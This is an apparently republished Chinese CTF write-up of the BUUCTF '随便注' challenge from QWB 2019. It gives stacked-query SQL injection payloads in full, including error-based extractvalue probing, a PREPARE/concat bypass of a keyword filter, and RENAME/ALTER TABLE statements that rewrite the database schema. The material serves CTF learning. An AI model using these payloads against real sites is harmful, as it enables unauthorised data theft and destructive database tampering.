本文主要是介绍【web | CTF】BUUCTF [强网杯 2019]随便注，希望对大家解决编程问题提供一定的参考价值，需要的开发者们随着小编来一起学习吧！
天命：这题考点有两个，第一个是闭合，第二个是叠堆注入
先探测一下是不是单引号闭合，其实我一开始以为是没有引号闭合的，毕竟是数字
经过测试，的确是单引号闭合
然后探测未知的东西，我习惯性直接上来就联合注入
然后他就反弹出了正则表达式拦截，不区分大小写拦截了以上关键字
然后试试叠堆注入，其实叠堆注入的这种题目出现很少，毕竟实际上只能运行一条sql语句的
测试了一下，发现的确是叠堆注入，所有的数据库都爆出来了
使用报错注入查看当前的数据库
=1' and extractvalue(1,concat(2,database())); -- 
查看当前数据库的表
那我们就知道了数据库是：supersqli，表是：1919810931114514，words
这里有神奇的一幕，就是要用反引号以及-- q
--空格是 --+ 我能理解，但是为啥要加个q呢
` ` 反引号据说是无敌的，具体原理我研究了一下也不敢确定，就不写了
=1'; show columns from `1919810931114514` -- q
发现这个表只有一个字段，就写着flag，那我们读取这个数据库的这个表的这列就可以了
然后有两个思路：
1. 预处理来执行sql语句
2. 利用现成的select语句进行查询，先改当前表名为flag的表名，然后再改字段，再展示
【思路一】
=1'; PREPARE A from concat('s','elect flag from `1919810931114514`') ;
execute A -- q【思路二】
- 先将 words 改为别的名字 比如 words2 或者其他
- 然后将 1919810931114514 改为 words
- 把属性名flag改为id，然后用1’ or 1=1;# 显示flag出来
在这之前当然要先把words表改名为其他
1';rename table words to word2;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT '12';ALTER TABLE words CHANGE flag data VARCHAR(100);-- q好像第一种才是正常的做法
这篇关于【web | CTF】BUUCTF [强网杯 2019]随便注的文章就介绍到这儿，希望我们推荐的文章对编程师们有所帮助！
